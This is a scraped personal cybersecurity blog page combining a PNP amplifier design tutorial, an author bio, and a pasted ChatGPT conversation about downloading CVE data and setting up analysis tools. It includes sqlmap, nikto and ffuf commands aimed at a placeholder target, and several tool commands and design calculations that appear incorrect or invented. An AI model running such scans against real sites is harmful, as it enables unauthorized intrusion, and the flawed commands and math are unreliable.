Introduction


title: HackHubAfrica

HackHubAfrica


Empowering Africa through Technology

Join us in making a difference.

Get Involved


Latest Posts

Network Manager On Linux: A Beginner’s Guide

Post Image 1
Read More

Enhancing System Security with Auditd on Kali Linux

Post Image 2
Read More

Exploring Suricata: A High-Performance Network IDS, IPS, and NSM Engine

Post Image 3
Read More

Differential Equations Explained

Post Image 4
Read More

Windows Event Log Analysis Tools

Post Image 5
Read More

x86_x64 Architecture Overview

Post Image 6
Read More

The Windows Kernel

Post Image 7
Read More

Post Image 1Post Image 2
Post Image 3Post Image 4

!!! note This is a note admonition.

!!! warning Be cautious! This is a warning admonition.

This is an inline math expression: $E = mc^2$. $$ \int_{-\infty}^{\infty} e^{-x^2} dx = \sqrt{\pi} $$



© 2024 HackHubAfrica

Follow us on:
Twitter   |   LinkedIn   |   YouTube   |   GitHub

Design and Analysis of a Common Emitter PNP Amplifier

1. Problem Statement

We will design a Common Emitter PNP amplifier with the following specifications:

  • Voltage gain ( A_V = -10 )
  • Power supply ( V_{CC} = 12V )
  • Collector current ( I_C = 2mA )
  • Input impedance ( Z_{in} > 10kΩ )
  • Load resistor ( R_L = 2kΩ )

2. Step-by-Step Design Process

Step 1: Choose Emitter Resistance ( R_E )

Using the small-signal model approximation:

$$ r_e = \frac{25mV}{I_E} $$

Since ( I_E approximates I_C = 2mA ):

$$ r_e = \frac{25mV}{2mA} = 12.5Ω $$

To improve stability, we choose ( R_E ) 10× larger:

$$ R_E = 10 \times r_e = 125Ω $$

Using the nearest standard value:
( R_E = 130Ω )


Step 2: Choose Collector Resistance ( R_C )

Voltage gain is:

$$ A_V = -\frac{R_C}{r_e + R_E} $$

Rearranging for ( R_C ):

$$ R_C = A_V \times (r_e + R_E) $$

$$ R_C = 10 \times (12.5Ω + 130Ω) = 1.42kΩ $$

Using the nearest standard value:
( R_C = 1.5kΩ )


Step 3: Set Base Voltage ( V_B )

For proper operation:

$$ V_B = V_E + V_{BE} $$

For a PNP transistor, ( V_{BE} = -0.7V ), and:

$$ V_E = -I_E R_E = - (2mA \times 130Ω) = -0.26V $$

Thus:

$$ V_B = -0.26V - 0.7V = -0.96V $$


Step 4: Choose Base Resistors ( R_1 ) and ( R_2 )

Using a voltage divider:

$$ V_B = V_{CC} \times \frac{R_2}{R_1 + R_2} $$

Rearrange for ( R_2 ):

$$ R_2 = \frac{V_B}{V_{CC}} \times (R_1 + R_2) $$

Choosing ( R_1 = 100kΩ ):

$$ R_2 = \frac{-0.96V}{12V} \times (100kΩ + R_2) $$

Approximating ( R_2 \approx 10kΩ ), we use:
( R_2 = 10kΩ )


3. AC Coupling and Bypass Capacitor Design

Input Coupling Capacitor ( C_{in} )

$$ C_{in} = \frac{1}{2\pi f_c Z_{in}} $$

For ( f_c = 100Hz ) and ( Z_{in} \approx 10kΩ ):

$$ C_{in} = \frac{1}{2\pi (100)(10kΩ)} \approx 0.16\mu F $$

Using the standard value:
( C_{in} = 0.22\mu F )


Output Coupling Capacitor ( C_{out} )

$$ C_{out} = \frac{1}{2\pi f_c R_L} $$

For ( R_L = 2kΩ ):

$$ C_{out} = \frac{1}{2\pi (100)(2kΩ)} \approx 0.8\mu F $$

Using the standard value:
( C_{out} = 1\mu F )


Bypass Capacitor ( C_E )

For maximum gain:

$$ C_E = \frac{1}{2\pi f_c R_E} $$

$$ C_E = \frac{1}{2\pi (100)(130Ω)} \approx 12.3\mu F $$

Using the standard value:
( C_E = 10\mu F )


4. Verify Design Performance

Voltage Gain ( A_V ):

$$ A_V = -\frac{R_C}{r_e + R_E} = -\frac{1.5kΩ}{12.5Ω + 130Ω} = -10.6 $$

Close to target ( -10 ).


Input Impedance ( Z_{in} ):

$$ Z_{in} = (\beta + 1)(r_e + R_E) $$

Assuming ( \beta = 100 ):

$$ Z_{in} = (100 + 1) \times (12.5Ω + 130Ω) = 14.3kΩ $$

Meets requirement ( >10kΩ ).


Output Impedance ( Z_{out} ):

$$ Z_{out} \approx R_C = 1.5kΩ $$


5. Final Component Values

ComponentValue
( R_C )1.5kΩ
( R_E )130Ω
( R_1 )100kΩ
( R_2 )10kΩ
( C_{in} )0.22μF
( C_{out} )1μF
( C_E )10μF

6. Conclusion

  1. Determine amplifier requirements (gain, impedance, power supply).
  2. Set transistor biasing to ensure active region operation.
  3. Calculate resistors for gain and stability.
  4. Choose capacitors for AC coupling and frequency response.
  5. Verify performance through calculations.

Next Steps

  • Simulate this circuit using SPICE/Multisim.
  • Modify for different gain values.
  • Compare with a Common Base or Common Collector design.

Want More?

Would you like:

  • More worked examples?
  • A guide for designing a Common Base or Common Collector amplifier?
  • A practical SPICE simulation tutorial?

Let me know how you'd like to proceed! 😊

Hello, I'm HackHubAfrica 👋

Hi there, I'm HackHubAfrica

A passionate Electrical & Telecommunications Engineer with a deep interest in Cybersecurity.

hackhubafrica

👨‍💻 About Me:

I am an experienced and driven engineer with expertise in Network Security and Penetration Testing. My focus lies in securing digital infrastructures and developing advanced protocols to defend against evolving cyber threats. I’m continually learning and adapting to the latest trends in both AI and Cybersecurity to enhance my skillset and stay ahead of emerging risks.

  • 🔭 Currently working on: Developing robust cybersecurity systems for the Internet of Things (IoT) and performing vulnerability assessments.
  • 🌱 Currently learning: Exploring how Artificial Intelligence can optimize security threat detection and mitigation.
  • 👯 Collaborating on: Open-source cybersecurity projects and building innovative network security tools with fellow engineers.
  • 🤝 Looking to help with: Designing and integrating machine learning models into real-time security monitoring systems.

📈 Achievements & Interests:

  • Cybersecurity Certifications: Actively pursuing certifications in Certified Ethical Hacker (CEH), CompTIA Security+, and CISSP.
  • Security Researcher: Conducted several penetration tests and security audits on enterprise-level infrastructures.
  • Competitive Edge: Engaged in Capture the Flag (CTF) challenges with a strong record of solving complex cybersecurity puzzles.

🛠️ Tools & Technologies:

As a developer and cybersecurity engineer, I work with a wide variety of tools and technologies. Here's a snapshot of my technical skills:

🌐 Connect with me:

I believe in collaboration and knowledge sharing. Feel free to reach out via the following platforms:

MyWebsites

IMPORTANT WEBSITES I USE

And when you get tired of learning, here is some fun stuff:

Linux

ChatGPT said:

Compiling a comprehensive list of all Common Vulnerabilities and Exposures (CVEs) over the years, along with affected software versions and detailed reproduction steps, is a monumental task due to the vast number of vulnerabilities reported. However, I can guide you on how to access and utilize reputable resources to find specific CVEs, understand the affected software and versions, and obtain reproduction steps for educational and testing purposes.

1. Accessing Comprehensive CVE Databases:

  • National Vulnerability Database (NVD): Managed by NIST, the NVD offers a detailed and searchable repository of CVEs. You can search for vulnerabilities by product name, vendor, CVE identifier, or other criteria. Each entry provides descriptions, affected software versions, and references. Access it here:

    NVD

  • CVE Details: This platform provides an extensive CVE database with additional insights, including affected products, versions, and links to related exploits. It's user-friendly and allows for detailed searches. Visit:

    CVE Details

2. Finding Reproduction Steps for Specific CVEs:

While not all CVE entries include detailed reproduction steps, certain platforms and repositories focus on providing this information:

  • Vulnerability Reproduction Dataset: Maintained by Penn State University, this dataset offers detailed information and resources for reproducing specific vulnerabilities. It's a valuable resource for researchers and practitioners. Explore the dataset here:

    Vulnerability Reproduction DataSet

  • GitHub Repositories: Many security researchers and organizations publish proof-of-concept (PoC) code and reproduction steps on GitHub. For instance, the repository for CVE-2021-40444 provides detailed reproduction steps:

    GitHub

3. Example: Understanding and Reproducing a Specific CVE

Let's consider CVE-2021-40444, a remote code execution vulnerability in Microsoft MSHTML:

  • Description: This vulnerability allows attackers to craft malicious ActiveX controls to be executed via Microsoft Office documents.

  • Affected Software: Primarily impacts Microsoft Windows systems with specific versions of MSHTML.

  • Reproduction Steps: Detailed steps, including creating a malicious document and setting up a payload, are documented in the GitHub repository:

    GitHub

Important Considerations:

  • Ethical Use: Always ensure that any testing or reproduction of vulnerabilities is conducted in a controlled, legal, and ethical manner. Use isolated environments and obtain necessary permissions.

  • Stay Updated: The cybersecurity landscape evolves rapidly. Regularly consult official advisories, databases, and trusted security communities for the latest information.

By leveraging these resources and approaches, you can effectively explore specific CVEs, understand their impact, and, where appropriate, reproduce them for educational and testing purposes.

Sources

Favicon

Favicon

Favicon

Favicon

You said:

ompiling a comprehensive list of all Common Vulnerabilities and Exposures (CVEs) over the years, along with affected software versions and detailed reproduction steps, is a monumental task due to the vast number of vulnerabilities reported. I understand this huge task....is there a tool out there that can help build a map,visualization chart about all these vulnerabilties ....i want alsi the specific version since i want to install the softwre in docker containers and perhaps reproduce the CVEs,,,,,,,iS THERE SUCH A TOOL FOR COLLECTING THIS DATA

ChatGPT said:

Compiling a comprehensive list of all Common Vulnerabilities and Exposures (CVEs) over the years, along with affected software versions and detailed reproduction steps, is a monumental task due to the vast number of vulnerabilities reported. However, several tools and resources can assist you in visualizing CVE data, identifying affected software versions, and facilitating the reproduction of specific vulnerabilities within Docker containers.

1. CVE Visualization Tools:

  • NVD Visualizations: The National Vulnerability Database (NVD) offers a range of visualizations that depict vulnerability trends over time, categorized by severity, type, and more. These visualizations can help you understand the landscape of vulnerabilities and identify patterns. Access these visualizations here:

    NVD

  • CVEViz: This Python-based tool analyzes vulnerabilities associated with specific products by processing CVE List v5 JSON files. It generates plots that can aid in understanding the distribution and impact of vulnerabilities across different software versions. Explore CVEViz on GitHub:

    GitHub

2. Tools for Collecting CVE Data and Identifying Affected Software Versions:

  • CVE Binary Tool: Developed by Intel, this tool scans binaries and system packages to identify known vulnerabilities based on version numbers. It's useful for pinpointing vulnerable software versions that you might want to install in Docker containers for testing purposes. Learn more and access the tool here:

    GitHub

  • CVE Details: This comprehensive database provides detailed information about each CVE, including affected products and versions. It's a valuable resource for researching specific vulnerabilities and their impacts. Visit CVE Details:

    CVE Details

3. Reproducing CVEs in Docker Containers:

  • Docker-CVEAnalysis: This Docker image includes the Ubuntu CVE Tracker, security tools, and the Ubuntu Maintenance Toolkit (UMT) to assist in CVE analysis and triage. It's designed to help you set up environments where you can reproduce and study vulnerabilities safely. Access the Docker-CVEAnalysis repository: 

    GitHub

Important Considerations:

  • Ethical Use: Always ensure that any testing or reproduction of vulnerabilities is conducted in a controlled, legal, and ethical manner. Use isolated environments and obtain necessary permissions.

  • Stay Updated: The cybersecurity landscape evolves rapidly. Regularly consult official advisories, databases, and trusted security communities for the latest information.

By leveraging these tools and resources, you can effectively visualize CVE data, identify specific software versions affected by vulnerabilities, and set up Docker environments to reproduce and study these CVEs for educational and testing purposes.

Sources

Favicon

Favicon

Favicon

You said:

DOES THE National Institute of Standards and Technology NVD MENU Information Technology Laboratory National Vulnerability Database haave a offline website or docker container i can host aand view this data offline

ChatGPT said:

The National Institute of Standards and Technology (NIST) provides the National Vulnerability Database (NVD) primarily as an online resource. While NIST doesn't offer an official offline version or a Docker container for hosting the NVD website locally, you can access the NVD data feeds to set up a local database for offline use. Here's how you can proceed:

1. Accessing NVD Data Feeds:

NIST offers comprehensive data feeds in both XML and JSON formats, which include all published vulnerability information. You can download these feeds and update them regularly to maintain an up-to-date local repository. Detailed information and access to these feeds are available here:

NVD

2. Setting Up a Local NVD Mirror:

To host and view NVD data offline, consider the following approach:

  • Utilize OWASP Dependency-Check:

    • This open-source tool downloads and maintains a local copy of the NVD database. It allows for offline analysis of project dependencies against known vulnerabilities. While primarily designed for dependency checking, it can serve as a local NVD data source. More details are available here: 

      Jeremy Long

  • Implement a Dockerized Solution:

    • While NIST doesn't provide an official Docker image, you can create one using OWASP Dependency-Check. A guide on building such a Docker image is available here: 

      Medium

3. Important Considerations:

  • Regular Updates: The NVD is updated continuously. Ensure your local database is refreshed regularly to capture the latest vulnerabilities.

  • Ethical Use: Always use vulnerability data responsibly and ensure that any testing or reproduction of vulnerabilities is conducted in a controlled, legal, and ethical manner.

By setting up a local mirror of the NVD data feeds and utilizing tools like OWASP Dependency-Check, you can effectively access and analyze vulnerability information offline.

Sources

Favicon

Favicon

Favicon

You said:

git clone --recursive https://github.com/Saket-Upadhyay/CVEViz.git WHAT DOES TH FLAG --recursive DO

ChatGPT said:

The --recursive flag in git clone is used to clone a repository along with all of its submodules.

🔹 Explanation:

Some Git repositories include submodules, which are essentially repositories within repositories. These submodules are not automatically cloned when you run a normal git clone command.

  • Without --recursive

    sh

    CopyEdit

    git clone https://github.com/Saket-Upadhyay/CVEViz.git

    This will clone only the main repository, but any submodules inside it will be empty. You would have to manually initialize and update them later.

  • With --recursive

    sh

    CopyEdit

    git clone --recursive https://github.com/Saket-Upadhyay/CVEViz.git

    This will clone the main repository and automatically fetch all its submodules.

🔹 If You Forget --recursive

If you cloned the repository without the --recursive flag, you can still get the submodules later with:

sh

CopyEdit

git submodule update --init --recursive

🔹 Checking If a Repo Has Submodules

You can check if a repository has submodules by looking at the .gitmodules file:

sh

CopyEdit

cat .gitmodules

Would you like help inspecting or working with submodules in this repo? 🚀

1️⃣ Setting Up CVE Binary Tool (cve-bin-tool)

The CVE Binary Tool scans binaries and system packages to identify known vulnerabilities. It requires access to NVD (National Vulnerability Database) feeds.

🔹 Step 1: Install Dependencies

Make sure you have Python installed, then install the tool:

sh

CopyEdit

pip install cve-bin-tool

🔹 Step 2: Download NVD Data

Before scanning binaries, download the latest CVE database:

sh

CopyEdit

cve-bin-tool --update

This fetches the latest National Vulnerability Database (NVD) JSON feeds.

🔹 Step 3: Scan a System or Directory

Example: Scan a directory (/usr/bin) for known vulnerabilities:

sh

CopyEdit

cve-bin-tool --disable-internet --report json -o cve_report.json /usr/bin

  • --disable-internet → Uses the local NVD database instead of querying online.
  • --report json -o cve_report.json → Saves results in JSON format.

🔹 Step 4: Use the Data for Analysis

Now that you have cve_report.json, you can use it for further analysis or visualization with other tools.


2️⃣ Setting Up CVEViz for Vulnerability Visualization

CVEViz helps analyze vulnerabilities across different software and versions by processing CVE List v5 JSON files.

🔹 Step 1: Install Dependencies

Navigate to the cloned CVEViz repository and install requirements:

sh

CopyEdit

cd CVEViz pip install -r requirements.txt

🔹 Step 2: Download NVD CVE List v5 JSON Files

CVEViz requires CVE List v5 JSON files from NVD. You can download them with:

sh

CopyEdit

mkdir -p data/nvd cd data/nvd wget https://services.nvd.nist.gov/rest/json/cves/2.0?resultsPerPage=2000 -O cve_data.json

Alternatively, use a script inside CVEViz (if available):

sh

CopyEdit

python scripts/download_cve_data.py

🔹 Step 3: Process and Visualize the Data

Once you have the JSON files, generate plots:

sh

CopyEdit

python cveviz.py --input data/nvd/cve_data.json --output visualizations/

This will analyze the vulnerabilities and create graphs/plots showing:

  • The number of vulnerabilities per software version.
  • Trends over time.
  • Affected software distribution.

🔹 Step 4: View the Visualizations

Check the visualizations/ directory for PNG or HTML output.


💡 Next Steps

1️⃣ Refine your visualizations: Modify CVEViz to generate more specific plots based on your interests.
2️⃣ Automate Updates: Set up a cron job or a scheduled script to update and fetch new CVEs periodically.
3️⃣ Expand Analysis: Combine CVEViz with other tools (e.g., Elasticsearch + Kibana) for interactive dashboards.
4️⃣ Deploy in Docker: Run these tools inside Docker containers for easy testing and isolation.

Would you like help automating this process or integrating it into your cybersecurity lab? 🚀

You said:

ante@Archie ~/Documents $ cve-bin-tool --update usage: cve-bin-tool [-h] [-n {api,api2,json,json-mirror,json-nvd}] [-u {now,daily,never,latest}] [--nvd-api-key NVD_API_KEY] [-d DISABLE_DATA_SOURCE] [--use-mirror USE_MIRROR] [-i INPUT_FILE] [-C CONFIG] [-L PACKAGE_LIST] [--sbom {spdx,cyclonedx,swid}] [--sbom-file SBOM_FILE] [--vex-file VEX_FILE] [-q] [-l {debug,info,warning,error,critical}] [-o OUTPUT_FILE] [--html-theme HTML_THEME] [-f {csv,json,json2,console,html,pdf}] [--generate-config {yaml,toml,yaml,toml,toml,yaml}] [-c CVSS] [-S {low,medium,high,critical}] [--metrics] [--epss-percentile EPSS_PERCENTILE] [--epss-probability EPSS_PROBABILITY] [--no-0-cve-report] [-A [<distro_name>-<distro_version_name>]] [-b [<distro_name>-<distro_version_name>]] [--affected-versions] [--sbom-output SBOM_OUTPUT] [--sbom-type {spdx,cyclonedx}] [--sbom-format {tag,json,yaml}] [--vex-output VEX_OUTPUT] [--vex-type {cyclonedx,csaf,openvex}] [--product PRODUCT] [--release RELEASE] [--vendor VENDOR] [-rr REVISION_REASON] [--filter-triage] [-e EXCLUDE] [-V] [--disable-version-check] [--disable-validation-check] [--offline] [--detailed] [-a [APPEND]] [-t TAG] [-m MERGE] [-F FILTER] [-s SKIPS] [-r RUNS] [--import-json IMPORT_JSON] [--ignore-sig] [--log-signature-error] [--verify PGP_PUBKEY_PATH] [--export-json EXPORT_JSON] [--pgp-sign PGP_PRIVATE_KEY_PATH] [--passphrase PASSPHRASE] [--export EXPORT] [--import IMPORT] [--exploits] [--triage-input-file TRIAGE_INPUT_FILE] [-x] [--report] [directory] cve-bin-tool: error: argument -u/--update: expected one argument

ChatGPT said:

The error "argument -u/--update: expected one argument" means that cve-bin-tool --update requires an argument specifying how the update should be performed.


✅ Correct Usage

Try one of these:

sh

CopyEdit

cve-bin-tool --update now # Update immediately cve-bin-tool --update daily # Enable automatic daily updates cve-bin-tool --update never # Disable automatic updates cve-bin-tool --update latest # Fetch the latest CVE database

For your case, if you just want to update the CVE database right now, run:

sh

CopyEdit

cve-bin-tool --update now


💡 Additional Notes

  • If you're running this on a machine without internet access, use:

    sh

    CopyEdit

    cve-bin-tool --update latest --offline

    This ensures the tool doesn't try to fetch online updates.

  • If you want more detailed logging, add -l info:

    sh

    CopyEdit

    cve-bin-tool --update now -l info


Let me know if you need further troubleshooting! 🚀

You said:

after getting updates will they be availaable for offline use anf where are the file downloaded to

ChatGPT said:

Yes! Once updated, CVE data will be available for offline use.

📂 Where Are the Files Stored?

The CVE database and related files are downloaded to:

sh

CopyEdit

~/.cache/cve-bin-tool

or

sh

CopyEdit

$XDG_CACHE_HOME/cve-bin-tool

(depending on your system configuration).


✅ How to Ensure Offline Use

1️⃣ Check if the Update is Saved

Run:

sh

CopyEdit

ls -lah ~/.cache/cve-bin-tool

You should see files like:

  • nvdcve-1.1-*.json (CVE databases)
  • vendor_data.json (vendor-specific vulnerability data)

2️⃣ Test Offline Mode

After updating, try scanning offline with:

sh

CopyEdit

cve-bin-tool --offline <path_to_binary_or_directory>

If it works without internet, your update was successful.


3️⃣ Backup CVE Data for Later Use

To preserve the CVE data for another machine or future use, you can back it up:

sh

CopyEdit

tar -czvf cve-bin-tool-db.tar.gz ~/.cache/cve-bin-tool

And later restore it on another system:

sh

CopyEdit

tar -xzvf cve-bin-tool-db.tar.gz -C ~/.cache/


🚀 Summary

✔️ CVE data is saved in ~/.cache/cve-bin-tool
✔️ You can run scans offline after updating
✔️ Use cve-bin-tool --offline to verify offline mode
✔️ Backup the cache to use on other machines

Want to automate updates for offline access? Let me know! 🚀

You said:

after downloaded the data what tools can i use to intearct visualixa and process the data formmore decisions ....

ChatGPT said:

Once you've downloaded the CVE data, you can use various tools to interact, visualize, and process the data for security analysis. Here’s a breakdown of useful tools based on different needs:


🔍 1️⃣ Querying and Searching CVE Data

If you just want to search and filter CVEs, try these:

▶ jq (Command-line JSON Processor)

  • Since CVE data is in JSON format, you can use jq to filter results:

    sh

    CopyEdit

    jq '.' ~/.cache/cve-bin-tool/nvdcve-1.1-2024.json

    Example: Find all critical CVEs from 2024:

    sh

    CopyEdit

    jq '.CVE_Items[] | select(.impact.baseMetricV3.cvssV3.baseSeverity == "CRITICAL")' ~/.cache/cve-bin-tool/nvdcve-1.1-2024.json

▶ SQLite3 (Convert JSON to SQL for Querying)

  • Convert the CVE JSON into an SQLite database:

    sh

    CopyEdit

    sqlite3 cve.db

    Then use SQL queries to analyze data.


📊 2️⃣ Visualizing CVE Data

For graphical analysis and trends, use:

▶ CVEViz (Python-based CVE Visualization)

  • Cloned from GitHub? Now, load the CVE JSON and generate a graph:

    sh

    CopyEdit

    python cveviz.py -i ~/.cache/cve-bin-tool/nvdcve-1.1-2024.json

    • Produces visual graphs of CVE trends, vendors, and severities.

▶ Kibana + ELK Stack (Dashboard for CVEs)

  • Import CVE data into Elasticsearch for real-time dashboards:

    sh

    CopyEdit

    logstash -f cve-logstash.conf

    • Use Kibana to create charts, graphs, and time-based CVE trends.

📈 3️⃣ Machine Learning & Advanced Analysis

Want to find patterns or predict vulnerabilities?

▶ Pandas (Python Data Analysis)

  • Convert JSON to a structured DataFrame for processing:

    python

    CopyEdit

    import pandas as pd import json with open("~/.cache/cve-bin-tool/nvdcve-1.1-2024.json") as f: data = json.load(f) df = pd.json_normalize(data['CVE_Items']) print(df.head())

    • Analyze CVE severity distributions, trends, and affected vendors.

▶ Neo4j (Graph Database for Attack Paths)

  • Convert CVE data into attack graphs using Neo4j:

    sh

    CopyEdit

    neo4j-admin import --nodes cve_data.json

    • Useful for understanding exploit chains.

⚡ 4️⃣ Automating Decisions & Alerts

If you want to trigger alerts when a high-severity CVE is found:

▶ CVE Binary Tool + Email Alert

  • Run a scan and send alerts for critical vulnerabilities:

    sh

    CopyEdit

    cve-bin-tool --offline --output report.json jq '.CVE_Items[] | select(.impact.baseMetricV3.cvssV3.baseSeverity == "CRITICAL")' report.json | mail -s "CRITICAL CVEs Found" you@example.com

▶ OpenCTI (Threat Intelligence Platform)

  • Automate threat analysis and link CVEs to real-world exploits.

🚀 Summary

✔ Search CVEs → jqsqlite3
✔ Visualize trends → CVEVizKibanaNeo4j
✔ Analyze data → PandasML models
✔ Automate alerts → CVE Binary ToolOpenCTI

Want a step-by-step guide for any of these? Let me know! 🔥

You said:

thats so awesome....guide me on downloading these tools you mentioned and perhaps more since i want to focus on web applications mainly and others if they come my way

ChatGPT said:

Memory updated

Great choice! Since you want to focus on web application security, I'll guide you through setting up the most important tools for vulnerability visualization, data analysis, and exploitation.


🚀 Step 1: Install Core Tools for CVE Analysis

✅ CVE Binary Tool (Scans binaries for vulnerabilities)

sh

CopyEdit

pip install cve-bin-tool

  • Run an offline scan:

    sh

    CopyEdit

    cve-bin-tool --offline --output report.json

    • Stores CVE data locally in ~/.cache/cve-bin-tool/

✅ jq (Command-line JSON Processor)

sh

CopyEdit

sudo apt install jq # Debian-based sudo pacman -S jq # Arch Linux brew install jq # macOS

  • Example: Extract only high-severity CVEs:

    sh

    CopyEdit

    jq '.CVE_Items[] | select(.impact.baseMetricV3.cvssV3.baseSeverity == "HIGH")' ~/.cache/cve-bin-tool/nvdcve-1.1-2024.json

✅ SQLite3 (Convert JSON to SQL Database)

sh

CopyEdit

sudo apt install sqlite3 # Debian-based sudo pacman -S sqlite # Arch Linux brew install sqlite # macOS

  • Convert JSON to SQLite:

    sh

    CopyEdit

    sqlite3 cve.db


📊 Step 2: Install Visualization & Dashboards

sh

CopyEdit

git clone --recursive https://github.com/Saket-Upadhyay/CVEViz.git cd CVEViz pip install -r requirements.txt

  • Run the tool:

    sh

    CopyEdit

    python cveviz.py -i ~/.cache/cve-bin-tool/nvdcve-1.1-2024.json

✅ Elasticsearch + Kibana (Dashboard for CVE data)

sh

CopyEdit

docker run -d --name elasticsearch -p 9200:9200 -e "discovery.type=single-node" docker.elastic.co/elasticsearch/elasticsearch:8.6.0 docker run -d --name kibana -p 5601:5601 --link elasticsearch docker.elastic.co/kibana/kibana:8.6.0

  • Open http://localhost:5601 → Load CVE data into Kibana.

💻 Step 3: Install Web Application Security Tools

🕵️‍♂️ Scanners

✅ Nikto (Web Vulnerability Scanner)

sh

CopyEdit

sudo apt install nikto # Debian-based sudo pacman -S nikto # Arch Linux brew install nikto # macOS

  • Scan a website:

    sh

    CopyEdit

    nikto -h http://target.com

✅ OWASP ZAP (Web App Attack Proxy)

sh

CopyEdit

wget https://github.com/zaproxy/zaproxy/releases/latest/download/ZAP_2_13_0_unix.sh chmod +x ZAP_2_13_0_unix.sh ./ZAP_2_13_0_unix.sh

  • Open GUI:

    sh

    CopyEdit

    zap.sh

🛠 Exploitation & Fuzzing

✅ ffuf (Fuzz URLs & Files)

sh

CopyEdit

go install github.com/ffuf/ffuf@latest

  • Find hidden directories:

    sh

    CopyEdit

    ffuf -w wordlist.txt -u http://target.com/FUZZ

✅ SQLmap (Automated SQL Injection)

sh

CopyEdit

sudo apt install sqlmap

  • Scan for SQL injection:

    sh

    CopyEdit

    sqlmap -u "http://target.com/page.php?id=1" --dbs


⚡ Step 4: Automate & Monitor CVEs

✅ OpenCTI (Threat Intelligence)

sh

CopyEdit

git clone https://github.com/OpenCTI-Platform/docker cd docker docker-compose up -d

  • Open http://localhost:8080 for a full CVE dashboard.

🚀 Next Steps

✔ Do you want to set up a full web pentesting lab in Docker?
✔ Want help automating web exploits with Burp Suite?

Let me know how deep you want to go! 🔥

ChatGPT said:

Your error suggests that the CVE Binary Tool is trying to use offline mode but doesn’t have the database downloaded yet. Let's fix it step by step.


🚀 Step 1: Fully Download the CVE Database

The tool requires a local copy of the CVE database before running in offline mode. Try running:

sh

CopyEdit

cve-bin-tool --update latest

If you still get errors, try downloading the JSON manually:

sh

CopyEdit

wget https://nvd.nist.gov/feeds/json/cve/1.1/nvdcve-1.1-2024.json.zip -P ~/.cache/cve-bin-tool/ unzip ~/.cache/cve-bin-tool/nvdcve-1.1-2024.json.zip -d ~/.cache/cve-bin-tool/

Now test offline mode:

sh

CopyEdit

cve-bin-tool --offline --output report.json


🚀 Step 2: Verify the Database Path

Check if the CVE data is actually downloaded:

sh

CopyEdit

ls -lah ~/.cache/cve-bin-tool/

You should see files like:

pgsql

CopyEdit

nvdcve-1.1-2024.json nvdcve-1.1-2023.json vendor_data.json

If the folder is missing, manually set the cache location:

sh

CopyEdit

export CVE_BIN_TOOL_CACHE_DIR=~/.cache/cve-bin-tool/


🚀 Step 3: Check Internet & Retry

If the download is still failing, the NVD server might be rejecting large downloads. Try a JSON mirror instead:

sh

CopyEdit

cve-bin-tool --update latest -n json-mirror

Alternatively, force an API download (requires an NVD API key):

sh

CopyEdit

cve-bin-tool --update latest --nvd-api-key YOUR_KEY

You can get an API key from:
🔗 https://nvd.nist.gov/developers/request-an-api-key


🔎 Next Steps

✔ If this works, do you want to automate database updates using cron?
✔ Do you want to visualize this data in Kibana or CVEViz?

Let me know what’s next! 🚀🔥

You said:

Do you want to visualize this data in Kibana or CVEViz?yes of course ....what other tools exist out there for this taask

ChatGPT said:

Awesome! Let's talk about visualizing CVE data to help you get the most out of your vulnerability analysis.

1. Kibana (Best for Data Dashboards)

Kibana is a powerful tool for visualizing large datasets, including CVEs, and is tightly integrated with Elasticsearch.

How to Visualize CVE Data in Kibana:

  1. Install Elasticsearch and Kibana in Docker (if not done already):

    sh

    CopyEdit

    docker run -d --name elasticsearch -p 9200:9200 -e "discovery.type=single-node" docker.elastic.co/elasticsearch/elasticsearch:8.6.0 docker run -d --name kibana -p 5601:5601 --link elasticsearch docker.elastic.co/kibana/kibana:8.6.0

  2. Index your CVE data into Elasticsearch: You can manually upload CVE JSON data into Elasticsearch using curl or a Python script that interfaces with Elasticsearch’s REST API. Here's an example:

    python

    CopyEdit

    from elasticsearch import Elasticsearch import json es = Elasticsearch() with open("nvdcve-1.1-2024.json", "r") as f: data = json.load(f) for item in data["CVE_Items"]: es.index(index="cves", id=item["cve"]["CVE_data_meta"]["ID"], body=item)

  3. Visualize Data:

    • Open Kibana on http://localhost:5601 and load your data from Elasticsearch.
    • Create custom dashboards using visualizations like bar graphs, pie charts, and tables to represent the severitytype of vulnerabilities, and affected software.

CVEViz helps to generate graphs and plots based on CVE data. It helps visualize trends, severity, and impact.

Steps to Use CVEViz:

  1. Clone the CVEViz repository:

    sh

    CopyEdit

    git clone https://github.com/Saket-Upadhyay/CVEViz.git cd CVEViz pip install -r requirements.txt

  2. Run CVEViz:

    sh

    CopyEdit

    python cveviz.py -i /path/to/nvdcve-1.1-2024.json

  3. This will generate plots like CVE distributionaffected versions, and severity over time.

3. OpenCTI (Centralized Threat Intelligence Platform)

OpenCTI is an open-source platform that helps visualize and manage threat intelligence, including CVEs, exploits, and more.

Steps to Use OpenCTI:

  1. Install OpenCTI using Docker:

    sh

    CopyEdit

    git clone https://github.com/OpenCTI-Platform/docker.git cd docker docker-compose up -d

  2. Visualize CVE data:

    • OpenCTI provides a web-based interface at http://localhost:8080.
    • You can import CVE data and then track the relationships between vulnerabilities, exploits, and affected software.
  3. **Integrate CVE data with MISP (Malware Information Sharing Platform) for even richer context: OpenCTI integrates well with MISP (another open-source tool for threat intelligence sharing).

4. VulnDB (Vulnerability Database & Graphs)

VulnDB (by Risk Based Security) offers in-depth CVE analysis. While it's not open-source, it is an excellent paid service for historical vulnerability data.

5. Grafana (Customizable Dashboards)

Grafana is another dashboard tool similar to Kibana, but it works seamlessly with many data sources (e.g., PrometheusMySQLPostgreSQL).

Use Grafana with CVE Data:

  1. Set up Grafana to fetch data from Elasticsearch or MySQL.
  2. Build interactive dashboards using CVE severityvulnerable versions, and more.

6. CVE-Search (Search Engine for CVEs)

CVE-Search is a tool that provides an interface to search and filter CVE data. It offers a RESTful API and can be used for building custom dashboards.

  1. Install CVE-Search:

    sh

    CopyEdit

    git clone https://github.com/cve-search/cve-search.git cd cve-search ./bin/cve-2019.py

  2. Search CVE data:

    • Use the API to query CVE data and create your own visualizations.

Next Steps:

  • Do you want to integrate CVE data into Kibana for more custom dashboards?
  • Need help analyzing data with a specific tool like CVEViz or OpenCTI?

Let me know how you want to proceed!

You said:

